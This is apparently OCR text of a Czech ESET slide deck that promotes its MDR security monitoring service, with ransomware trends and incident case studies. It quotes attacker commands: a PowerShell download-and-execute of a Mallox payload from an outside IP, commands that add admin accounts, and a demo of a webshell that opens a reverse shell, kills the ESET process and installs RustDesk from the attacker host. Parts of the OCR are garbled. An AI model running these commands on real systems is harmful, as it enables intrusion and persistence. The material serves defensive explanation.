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Globalni vyhledavani a analyzy celych utoku

@ Servery, desktopy a mobilni @ Vlastni ESET honeypoty @ Treti strana — VirusTotal, vyména

zatizeni zdkaznik( chrdnéné lakajici utocéniky rozmisténé vzorkd s jinymi vendory,
systemy ESET po celem svéte spoluprace s Big Tech a policii
ESET Cloud Office Security @ Automatizovana analyza
zabezpecujici prostredi desitek botnetu technologii

MS 365 a Google Workspace ESET Botnet Tracker



welivesecurity

CosmicBeetle steps up:
Probation period at
RansomHub

CosmicBeetle, after improving its own ransomware, tries its luck
as a RansomHub affiliate

Jakub Soucek
10 Sep 2024 , 25 min. read

ESET researchers have mapped the recent activities of the
CosmicBeetle threat actor, documenting its new ScRansom

welivesecurity

ESET Research

First known Al-powered
ransomware uncovered by
ESET Research

The discovery of PromptLock shows how malicious use of Al
models could supercharge ransomware and other threats

Anton Cherepanov: Peter Strycek
26 Aug 2025, 2 min. read

UPDATE (September 39, 2025): ESET Research has been




Tradicni ransomware
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Tradicni ransomware
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Obeti prestali platit

Mnozstvi Uspésnych ransomwarovych UtokU se vyrazné snizilo
a pokud jiz byly zdarilé, data se podafrilo obnovit ze zaloh

* Lepsi detekcni technologie, zalohovani
*  Segmentace sité

* Dvoufaktorové overovani

* Cloudovy sandboxing

* Duslednéjsi zaplatovani

* Data ulozena na serverech / v cloudu



Nutnost vyradi

a na serverech



To nelze




SouEasnos@
Doba manualneé
provadenych utoku




Moderni vydéracské utoky

e

Proniknuti do Analyza systému, Stazeni malwaru, Ziskani legitimnich Infiltrace dalSich
zafizeni uZivatelq, sité utilit a skriptt prihlasovacich udaja zafizeni

& » = = 080 GQu,

Exfiltrace Zniceni zaloh, Zadost o platbu
citlivych dat zaSifrovani dat vykupného




Moderni vydéracské utoky

e

Infiltrace dalSich Exfiltrace
prihlasovacich udaja zafizeni citlivych dat

g © @ 2 m

Proniknuti do Analyza systému, Stazeni malwaru, Ziskani legitimnich

Zadost o platbu
zafizeni uzivatelQ, sité utilit a skriptt

vykupného




Vydirané spolecnosti

Manualni utoky se nevyhybaiji ani
mensim spole¢nostem v Cesku.
Nektereé obéti maji pouze vyssi
desitky zaméstnancu.

Presto je utocnici napadli, zcizili
data a vydiraji.

pr  Ransomware Monitoring |«
= e
+  22victims
) e Detection Date e - 5
*Claimed* Victim Ransomware Gang (UTC+0) Ransomware URL Victim Site Victim Country Industrial Sector
Building Materials,
@ LockBit Czech Republic Hardware, Garden Supply,
And Mobile Home Dealers
@ DarkPower Czech Republic Transportation Equipment
@ PLAY Czech Republic Railroad Transportation
® PLAY Czech Republic 0il, Gas
® PLAY Czech Republic 0il, Gas
Administration Of
@ LockBit Czech Republic Environmental Quality
And Housing Programs
@ LockBit Czech Republic Defense industry
@ cf com LockBit Unknown Unknown
® Hive Czech Republic Real Estate
@ (- rman BlackCat (ALPHV) USA Legal Services
® Everest Czech Republic Metal Industries
Machinery, Computer
® v Czech Republic Equipment
Holding And Other
® nts BlackByte Czech Republic = el
Security And Commedity
O] LockBit Czech Republic Brokers, Dealers,
1% Previous 1

Next




Obéti techto utoku jsou v
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Prumeérna skoda v desitkach milionu K¢
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Jak se ucinne

branit?



Nutnost odhaleni novych hrozeb

Primarné zneuzivani legitimnich
utilit, skriptu a vychoziho
softwaroveho vybaveni operacnich
systému pri manualnich Utocich




Vyuzitim EDR (XDR) systému

ESET Inspect umoznuje odhaleni manualnich utokua,
jejich investigaci a eliminaci na zakladé detekce
potencialné rizikovych anomalii

* V ramci aplikaci 3. stran
* Zneuzitim funkci operacnich systému
*  Problematického chovani uzivatel(

* Sitového provozu




Odvracena strana
EDR (XDR) nefunguje automaticky

| |
& 5[3 Y @ |
Vyssi porizovaci Relativne slozita Velké mnozstvi Casové narocné Nutnost

naklady technologie upozorneéni na obsluhu know-how



Mame nekoho, kdo pri utoku infiltraci

A\ L4

proveri a vcas neutralizuje hrozbu?



Pruzkum trhu | bezpecnostni monitoring

91 % 68 %

Vyuziva nebo planuje vyuzivat Preferuje sluzby vyrobce
sluzby outsourcingu bezpecnostnich produkt(
Pozaduje nepretrzity Uprednostnuje dohled s

monitoring 24/7/365 reakci na hrozby



Jak muze ESET pomoct?



Unikatnimi

pro automatizovanou detekeci
malwaru a odhalovani manualnich
utoku a -
kombinaci umélé inteligence,
odbornych znalosti a rychlé reakce
bez nutnosti mit vlastni bezpec¢nostni
specialisty prosetrujici incidenty

Anti-malware Cloud sandboxing EDR (XDR) Cloud protection

Firewall Hyper-V scanner Email protection NAS protection



ESET MDR | sluzba kybernetického dohledu

Outsourcing chybéjicich bezpecnostnich specialistu
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Architekt
ES E I M D R THREAT £o ZpracoYavlar’n |/r7.fomjacl| o Utocich z celeh? svt?ta D
§8 Vyhledavani vyjimecného malwaru & celych utokd

INTELLIGENCE Detailni analyza pokrocilych hrozeb, sledovani APT skupin

INSPECT

SIEM | SOAR | ESET ML/AI

Okam?zité zpracovani a presné vyhodnoceni

Automatické zpracovani
dat & duleZité aktualizace

Nepretrzity monitoring a vyhodnocovani
potencialnich hrozeb s vyuzitim technologii
ESET ML/AI a SIEM

Zakaznik

24/7 SOC provadéjici
monitoring a analyzu Upozornéni zakaznikl pomoci notifikaci

/)

Rychla reakce na vzniklé incidenty pomoci
reSeni SOAR

\%

neutralizace hrozby Reporting stavl incidentl pro zakaznika

E-mailové notifikace
GUI konzole s detaily
Tydenni/mésicni prehledy

Rychla reakce a




Rychlost detekce & reakce

20000x

ESET MDR h 20 minut (95 % incidenti) ryCh|Ej§I'

nez bez MDR /
vlastniho SOCu

Interni SOC tym - 16 hodin




ESET MDR | statistiky

é 1000+ 180000+ 645+

- Platicich zakaznik Chranénych zarizeni Zablokovanych utoku

¥

Aktualni interni data Verejné reference
(poslednich 30 dni)

* Canon (Japonsko), 23 000 zaméstnancl
* Prdmeérny Cas prvni reakce: 46 vterfin * Royal Swinkels (Nizozemsko), 2 350 zaméstnancl
* Pocet ESET specialistt v SOCu: 90+ * Borussia Dortmund (Némecko), 650 zaméstnancl
e Nejvétsi uspéch: blokace vyspélé skupiny FIN7
e Stat s nejvice novymi zakazniky: Italie  Vyuzivano desitkami subjektt v CR



Z deniku kybernetickych obrancu



Management

!
Agent =



==l
u %ProgrambData\

L

-

zneuzity Management Agent B!

%ProgramFiles%\ \MeshAgent. exe
C:\> net user /add

C:\> net localgroup administrators
C:\> net user /add

C:\> net localgroup administrators
C:\> net user /add

C:\> net localgroup administrators

/add

/add

/add



zneuzity Management Agent B!

Administrator zacal provadet vice Cinnosti

pres reverse shell z (AV, EDR)

Stahnuti EXE (EDR)

Detekovano pomoci ESET RTS jako (AV)

Zranitelnost ve Veeam Backup and Replication umoznujici kradez prihlasovacich
udaju ze zalohovaciho softwaru —

f OIN 3 RATY
A Threat found

A threat ( MSIL/Exploit.CVE-2023-27532.A ) was
found in a file that # Mesh Agent tried to access.

Learn more about this message



zneuzity Management Agent B!

Incident actions

ESET MDR t\'/m Za reagoval > Isolate computers

& End computer isolation

MeshAgent a dalsi spustitelné soubory byly zablokovany

. ; "y , . ; & il processes
Kompromitované zarizeni bylo izolovano
® Block executable

Vytvoren incident s popisem a odeslan zakaznikovi T

IP adresa pridana na globalni ESET blacklist

INCIDENTACTIONS ™7

Klientovi poskytnuta zakladni dodatecna doporuceni

UZivatelé ke smazani:
sys, system, systeml

IP adresa k zablokovani na perimetrovych firewallech:
91[.]92.246.183



MS SQL




Za oponou kyberutoku | kompromitace MS SQL @“

* Opakuijici se detekce na cilovém portu 1433 (AV)

. souvisejicich s neobvyklymi prikazy SQL Serveru (EDR)

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>
C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"



Za oponou kyberutoku | kompromitace MS SQL @“

Rozbor prikazi:

Vytvoreni PowerShell skriptu ,,updt.ps1” pro ztiZzeni automatizované detekce AV

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object System.Net.WebClient>C:?\ProgramData\\updt.psl &
echo $cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> C:?\ProgramData\\updt.psil

Skript ,,updt.ps1“obsahujici pokus o zastrené staZeni payloadu malwaru

Obejiti bezpecnostni politiky MS pro zabezpecené spousténi skriptu
Administrator: C:\\Windows\system32\cmd.exe

powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl

Skryti zdroje utoku (preruseni stromu procesti)

Administrator: C:\\Windows\system32\cmd.exe

WMIC process call create "C:?\ProgramData\\tzt.bat"



kompromitace MS SQL @“

ESET MDR tym zareagoval
Napadeny server izolovan

Vlytvoren incident s popisem a odeslan zakaznikovi

Zabraneno ransomwarovému utoku Mallox

Klientovi poskytnuta zakladni dodatecna doporuceni

Zména hesel vSech uzivatelld MS SQL Serveru
Uzavrit port 1433 pro pristup z internetu

Incident actions

Q Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS W7




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>
C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"

Ly
< SentinelOne

/C echo $cl = New-Object System.Net.WebClient "\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl

>%TEMP%\updt.psl & echo = New-Object System.Net.WebClient >

$c1.DownloadFile("hXXp://80[.166.75]]1].40/XXXXX C:\Users\MSSQLS~1\AppData\Local\Temp\updt.psl & echo

XXXX.exe", "%TEMP%\xxxx.exe") >> %TEMP%\updt.psl $cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\",

& powershell -ExecutionPolicy Bypass \"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >>

%TEMP%\updt.psl & WMIC process call create STEMP%\\updt.psl & powershell -ExecutionPolicy

"% TEMP%\XXXOXXXXX . exe” Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.psl
& WMIC process call create
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo

$cl.DownloadFile (. hxxp://80.66.75[.]47 Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>

C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"

Ly
< SentinelOne

—hXX ://80[.]66.75 .40 | s "
— MdsE "‘ hxxp://80.66.75[.]36




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>
C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\ltZEabat

Ly
< SentinelOne




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C: ?\ProgramData\\updt.psl & echo

$cl. DownloadFlle("hxxp //80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>

C:?\P 1 & powershell —ExecutlonPollcy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create 'C:?\ProgrambData\\tzt.bat"

Ly
< SentinelOne

WMIC process call create

| WMIC process call create




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>

C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"

-
< SentinelOne

/C echo $cl /C echo $cl




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C: ?\ProgramData\\updt.psl & echo

$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>

C::\ProgramData\\updt.psl % powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"

Ly
< SentinelOne

%TEMP%\updt.psl |

STEMP%\\updt.psl |




atribuce RaaS Mallox

MALLOX

Operator Mallox - Ransomware as a Service

Tvlrci ransomwaru
Aktivni od roku 2021

Také znami pod nazvy TargetCompany nebo Fargo

Mallox"
bout data leaks of large companies will be published here

RuskojazyCna skupina s E—

Silné Sifrovaci algoritmy
Zakaz utoceni na nemocnice a vzdélavaci instituce
Vybiraji si pouze ruskojazyéné partnery e

Nabizi az 80% podil z vykupného partnerim ..







File Actions Edit View Help

Boot Time: 4/19/2024 7:45 AM
EELINNING IIS5 ATTHLCKE e =
. i Host Name: WEB-LOSA-01
User Name: DEMO\administrator
|
0S Varcinn: Windaue Sarvar 2822 w2TH? (2034R_R4AR)

d» - O X

EEler) SERVER SECURITY

08 Monitoring LOg files
Log files
Scan .. O.. Object Detection Action  User Information Hash
Update
Setup

Tools

@D o@

Help and support

Filtering

Progress. Protected

7:49 AM
AN OB e 4o B

- Type here to se

ju
a
[




File Actions Edit View Help

EELINNING II5 ATTALK

HEESHELL PLALEHENT
-DETELTED-

—— Uploading WebShells to victim 10.0.0.27

Uploading WebMembersl.aspx 550 Access is denied.
Uploading WebMembers2.aspx 550 Access is denied.
Uploading WebMembers3.aspx 550 Access is denied.
Uploading WebMembers4.aspx 550 Access is denied.
Uploading WebMembers5.aspx 550 Access is denied.

webshells blocked ——
Press any key to continue.

-LUSTORIZED-

—— Uploading WebShell WebMembers.aspx to victim 10.0.0.27 ——

Boot Time: 4/19/2024 7:45 AM
Machine Domain: DEMO
P Host Name: WEB-LOSA-01
B User Name: DEMO\administrator
08 Varcinn: Windnue Sarvar 2022 u21H? (20348 G4AR)

d - O X

08 Monitoring LOg files
S Log files
Q Scan o O Detection Action  User Information  Hash
3 Update
@ Setup
B Tools
©)

Help and support

Filtering

Progress. Protected

7:50 AM
4/19/2024 %

i
3
0]

A0 ds




File Actions Edit View Help

EELINNING II5 ATTALK

HEESHELL PLALEHENT
-DETELTED-

—— Uploading WebShells to victim 10.0.0.27

Uploading WebMembersl.aspx 550 Access is denied.
Uploading WebMembers2.aspx 550 Access is denied.
Uploading WebMembers3.aspx 550 Access is denied.
Uploading WebMembers4.aspx 550 Access is denied.
Uploading WebMembers5.aspx 550 Access is denied.

webshells blocked ——
Press any key to continue.

-LUSTORIZED-

—— Uploading WebShell WebMembers.aspx to victim 10.0.0.27
Uploaded: ./ReqFiles/webShells/JamesCustom.aspx to WebMembers.aspx

Sending commands to WebShell for execution
send command> ping rGZ3H2NdHil79WiMRjHbrjC4ZLSAVS.burpcollaborator.net -n 1
send command> powershell -nop -w hidden -enc L} ZABy

8 Monitoring
Log files
Scan
Update
Setup

Tools

@& o a

Help and support

Starting Powershell Reverse Shell and wating for connection
listening on [any] 80 ...

connect to [103.79.143.101] from WEB-LOSA-01.demo.lan [10.0.0.27] 49823
Press any key to continue.

INITIAL DISCOVERY
-ACCOUNTS-

send command> whoami

Progress. Protected

Boot Time: 4/19/2024 7:45 AM
Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator

Windawe Sarvar 2822 v21H? (2834R_ 64\
d - O X

08 Varcinn:

Log files

Detection Action  User Information  Hash

Filtering

7:50 AM

A OB e 4o B



File Actions Edit View Help
Press any key to continue.

IISLOYERY
UNTS

send command> whoami
nt authority\system
send command> net user

User accounts for \\

Administrator DefaultAccount Guest
LocalAdmin WDAGUtilityAccount
The command completed with one or more errors.

send command> quser
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME

administrator console 1 Active none  4/19/2024 7:46 AM

send command> net group "domain admins” /domain
The request will be processed at a domain controller for domain demo.lan.

Group name Domain Admins

Comment Designated administrators of the domain
Members

Administrator akadmin CGAdmin
DDAdmin EMAdmin jbadmin
JJAdmin JLAdmin JRAdmin
MMAdmin MSAdmin RRAdmin
TDAdmin

The command completed successfully.

Press any key to continue.

INITIAL DISCOVEERY
-DOHRIN-

send command> ipconfig /all

GBeT) SERVER SECURITY

08 Monitoring
S Log files
Cl Scan

3 Update
@ Setup

B Tools

@ Help and support

s. Protected

L Type here to

search

Boot Time: 4/19/2024 7:45 AM

Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator

08 Varcinn: Windnuwe Sarvar 2022 u21H? (20348 G4AR)

d» - 0O X

Log files

Detection Action  User Information  Hash

Filtering

7:51 AM

AN OB e 4o B

i
3
]e



File Actions Edit View Help

INITIAL DISCOYERY
-DOHARIN-

send command> ipconfig /all
Windows IP Configuration

Host Name . e
Primary Dns Suffix
Node Type . . . . .
IP Routing Enabled.
WINS Proxy Enabled.
DNS Suffix Search List.

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix

Description . i

Physical Address.

DHCP Enabled. Sl

Autoconfiguration Enabled .

Link-local IPv6 Address .

IPv4 Address. . . . . .

Subnet Mask .

Lease Obtained.

Lease Expires .

Default Gateway .

DHCP Server .

DHCPv6 IAID . “

DHCPv6 Client DUID.

DNS Servers . . . . . .

NetBIOS over Tcpip. . « . « . .

send command> nslookup demo.lan

Server: SvrSandDC@1.demo.lan
Address: 10.0.0.200

Name: demo.lan
Address: 10.0.0.200

Press any key to continue.

: WEB-LOSA-01
: demo.lan

: Hybrid

: No

: No

: demo.lan

: demo.lan

Intel(R) 82574L Gigabit Network Connection

: 00-50-56-B1-98-FE
: Yes
: Yes

fe80::80fe:e102:8137:d9ee%3(Preferred)
10.0.0.27(Preferred)

¢ 255.255.255.0

Friday, April 19, 2024 7:45:51 AM

: Saturday, April 27, 2024 7:45:51 AM

10.0.0.1
10.0.0.200
100683862

: 00-01-00-01-2D-B2-D8-A0-00-50-56-B1-98-FE

10.0.0.200
Enabled

LEERTE NEH USEFR
HITEHPTS

send command> net user asp.net abc123 .add

GBeT) SERVER SECURITY

08 Monitoring
S Log files
Cl Scan

3 Update
@ Setup

B Tools

@ Help and support

s. Protected

pel Type here to search

Boot Time: 4/19/2024 7:45 AM

Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator

08 Varcinn: Windnuwe Sarvar 2022 u21H? (20348 G4AR)

d» - 0O X

Log files

Detection Action  User Information  Hash

Filtering

7:51 AM

AN OB e 4o B

i
3
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File Actions Edit View Help
DNS Servers .

NetBIOS over Tcpip. . . G
send command> nslookup demo.lan

Server:
Address:

Name:
Address:

10.0.0.200
Enabled

SvrSandDC@1.demo.lan
10.0.0.200

demo.lan

10.0.0.200

Press any key to continue.

send

send

send

send

send

send

send

send

send

send

send

send

LEERTE NEH USEF

command>

command>

command>

command>

command>

command>

command>

command>

command>

command>

command>

command>

HITEHPIS

user asp.net abc123 .add
user asp.net abc123 .add
user asp.net abc123 .add
user asp.net abc123 .add
user asp.net abc123 .add
user asp.net abc123$
user asp.net abc123 .add
user asp.net abc123$
user asp.net abc123 /add
user asp.net abc123 /add /Y
user asp.net abc123 /add

user asp.net

Press any key to continue.

ILL ESET RTTEHPTS

send command> tasklist /svc /fi "IMAGENAME ne svchost.exe" | findstr /v "N/A"

GBer SERVER SECURITY

08 Monitoring
Log files
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Setup
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Help and support

AL Type here to search

Boot Time: 4/19/2024 7:45 AM

Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator
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File Actions Edit View Help

send command> net user asp.net

send command> net user asp.net

send command> net user asp.net

send command> net user asp.net

send command> net user asp.net

send command> net user asp.net

Press any key to continue.

abc123 .add
abc123%

abc123 fadd
abc123 fadd /¥

abc123 fadd

RILL ESET ATTEHPTS

send command> tasklist /svc /fi "IMAGENAME ne svchost.exe" | findstr /v "N/A"

Image Name PID Services
lsass.exe 688 KeyIso, Metlogon, SamSs
efwd.exe 1440 efwd
ekrn.exe 1504 ekrn, ekrnEpfw
spoolsv.exe 2528 Spooler
inetinfo.exe 2792 IISADMIN
EIConnector.exe 2820 EIConnectorsvc
vmtoolsd.exe 2880 VMTools
vm3dservice .exe 2924 VM3DService
ERAAgent .exe 2932 EraAgentSvc
VGAuthService.exe 3000 VGAuthService
dllhost.exe 3788 COMSysApp
msdtc.exe 4852 MsDTC

send command> taskkill /f /im .exe

send command> tasklist /svc | findstr.exe .exe

ekrn.exe
Press any key to continue.

1504

ekrn, ekrnEpfw

EEHOTE DEVILE
IDENTIFICATION

send command> NETSTAT -ano | findstr /c:"LISTENING" | findstr /v fc:"[:z]:"

EEler SERVER SECURITY

08 Monitoring Log files
Log files
Scan Time
Update

Setup

Tools
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Help and support

Progress. Protected Eilterting

Boot Time:
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LLULCIHI AP LTI LU

send command> NETSTAT -ano | findstr /c:"LISTENING" | findstr /v /c:"[:
Tcp 0.0.0.0:21 0.0.0.0:0 LISTENING 2656
Tcp 0.0.0.0:80 0.0.0.0:0 LISTENING 4
Tce 0.0.0.0:135 0.0.0.0:0 LISTENING 912
Tce 0.0.0.0:445 0.0.0.0:0 LISTENING 4
Tcep 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
Tce 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
Tce 0.0.0.0:49664 0.0.0.0:0 LISTENING 688
Tce 0.0.0.0:49665 0.0.0.0:0 LISTENING 556
Tce 0.0.0.0:49666 0.0.0.0:0 LISTENING 1228
Tce 0.0.0.0:49668 0.0.0.0:0 LISTENING 1656
Tce 0.0.0.0:49674 0.0.0.0:0 LISTENING 688
TCcp 0.0.0.0:49683 0.0.0.0:0 LISTENING 2528
TCcp 0.0.0.0:49697 0.0.0.0:0 LISTENING 668
TCP 10.0.0.27:139 0.0.0.0:0 LISTENING 4
send command> nslookup web-HARV-01
Server: SvrSandDCO1.demo.lan
Address: 10.0.0.200
send command> nslookup web-HARV-02
Server: SvrSandDCO1.demo.lan
Address: 10.0.0.200
send command> nslookup web-HARV-03
Server: SvrSandDCO1.demo.lan
Address: 10.0.0.200
send command> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet@:
Connection-specific DNS Suffix . : demo.lan
Link-local IPv6 Address . . . . . : fe80::80fe:e102:8137:d%ee%3
IPv4 Address. . . . . .« . . .« . . :10.0.0.27
Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . .

send

Ping request could not find host web-HARV-02. Please check the name and try again.

G G Ol O G 10.0.0.1
command> PING web-HARV-02

Press any key to continue.

ENAELE GUEST AND HAKE

send

AODHIN

command> net user asp.net abc123 /add

GBeTr) SERVER SECURITY
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Log files
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Update
Setup

Tools
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Help and support

Progress. Protected

L Type here to search

Boot Time: 4/19/2024 7:45 AM

Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator
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File Actions Edit View Help

EMAEL

send command> net
send command> net

send command> net
The command completed

send command> net
The command completed

send command> net
User name
Full Name
Comment
User's comment
Country/region code
Account active
Account expires

Password last set

E GUEST AND HAKE
ADHRIN

user asp.net abc123 /add
user asp.net

user guest /active:yes
successfully.

localgroup administrators guest /add
successfully.

user guest
Guest

Built-in account for guest access to the computer/domain
000 (System Default)
Yes

Never

4/19/2024 7:52:55 AM

Password expires Never

Password changeable 4/20/2024 7:52:55 AM
Password required No

User may change password No

Workstations allowed ALl

Logon script

User profile

Home directory

Last logon Never

Logon hours allowed All

Local Group Memberships *Administrators *Guests
Global Group memberships *None

The command completed successfully.

send command> whoami

nt authority\system

Press any key to continue.

EUST

DESE PLAEEHENT

GBeT) SERVER SECURITY
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Machine Domain: DEMO
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User Name: DEMO\administrator
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File Actions Edit View Help %

Logon scr:mt Boot Time: 4/19/2024 7:45 AM
:Z:‘Z Si::é::ry Machine Domain: DEMO
Last logon Never 9 Host Name: WEB-LOSA-01

B User Name: DEMO\administrator
Logon hours allowed All N

08 Varcinn: Windnuwe Sarvar 2022 u21H? (20348 G4AR)

Local Group Memberships *Administrators *Guests » i o X
Global Group memberships *None BT SERVER SECURITY

The command completed successfully.

send command> whoami
nt authority\system
Press any key to continue.

08 Monitoring LOg files

S Log files
Q Scan o O Detection Action  User Information  Hash
r~

F.UET[IEEFI FLHEE"E"T A

1 1 )

@ Setup

Sending script to install rust desk ——

send ¢ d> I k b t http://103.79.143.101:8080/rustdesk.exe -Outfile "$env:ProgramData\rustdesk.exe"; EB Tools

Start-Sleep -Seconds 5
send command> Start-Process $env:ProgramData\rustdesk.exe --silent-install -NoNewWindow -Wait
send command> cd $env:ProgramFiles\RustDesk\ @ Help and support
send command> $rustdesk_id = (.\rustdesk.exe --get-id | Write-Output)
send command> $rustdesk_pw = 'P@sswOrD’';.\rustdesk.exe --password $rustdesk_pw
send command> Write-Output ".......ccceeveeencensnnnnnes ";Write-Output "RustDesk ID: $rustdesk
_id";Write-Output "Password: $rustdesk_pw";Write-Output " s

—— Waiting on RustDesk to be installed/configured ——
Waiting up to 115 more seconds.
Waiting up to 110 more seconds.
- Waiting up to 105 more seconds.
Waiting up to 100 more seconds.

- Waiting up to 95 more seconds.
Waiting up to 90 more seconds.

Filtering

s. Protected

RustDesk ID: -snip-

Password: P@sswlrD
- Waiting up to 85 more seconds.

Found RustDesk connection info (See above)

B Startup App Notification X

rustdesk is now configured to run when you log in.
To change this later, go to Settings, Apps, Startup.

Done. RustDesk should be ready ——
Press any key to continue.

—— Using RustDesk to connect to compromised IIS Server

7:54 AM
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ESET MDR Weekly Report

Weekly report: September 02, 2024 - September 08, 2024
Created: September 09, 2024; 09:09:13; UTC+1:00

Incident overview

2 Allincidents 2 High O Medium O Low

Incidents according to status

N

® Resolved

Incident pipeline

All detections Detections related to Created incidents
incidents

N
o

September 2

September 3 7 0 0
September 4 36 5 2
September 5 5 0 0
September 6 2 0 0

o
o
=

September 7
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ESET MDR
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,,Pokud jste zaneprazdneny tym a hledate
zcela bezudrzbovy pristup s partnerem,
kteremu muZete skutecné duvéerovat, ESET je
tou spravnou volbou. Sluzba 24x7x365,
kterou nam ESET poskytuje, by byla
nedostupna i pro klub Premier League, jako
je ten nas — naklady na zrizeni SOC a SIEM
jsou astronomické, nemluve o vyzve, kterou
predstavuje zajisténi personalu po cely den.”

Stefan du Plooy
Vedouci IT oddéleni
AFC Bournemouth
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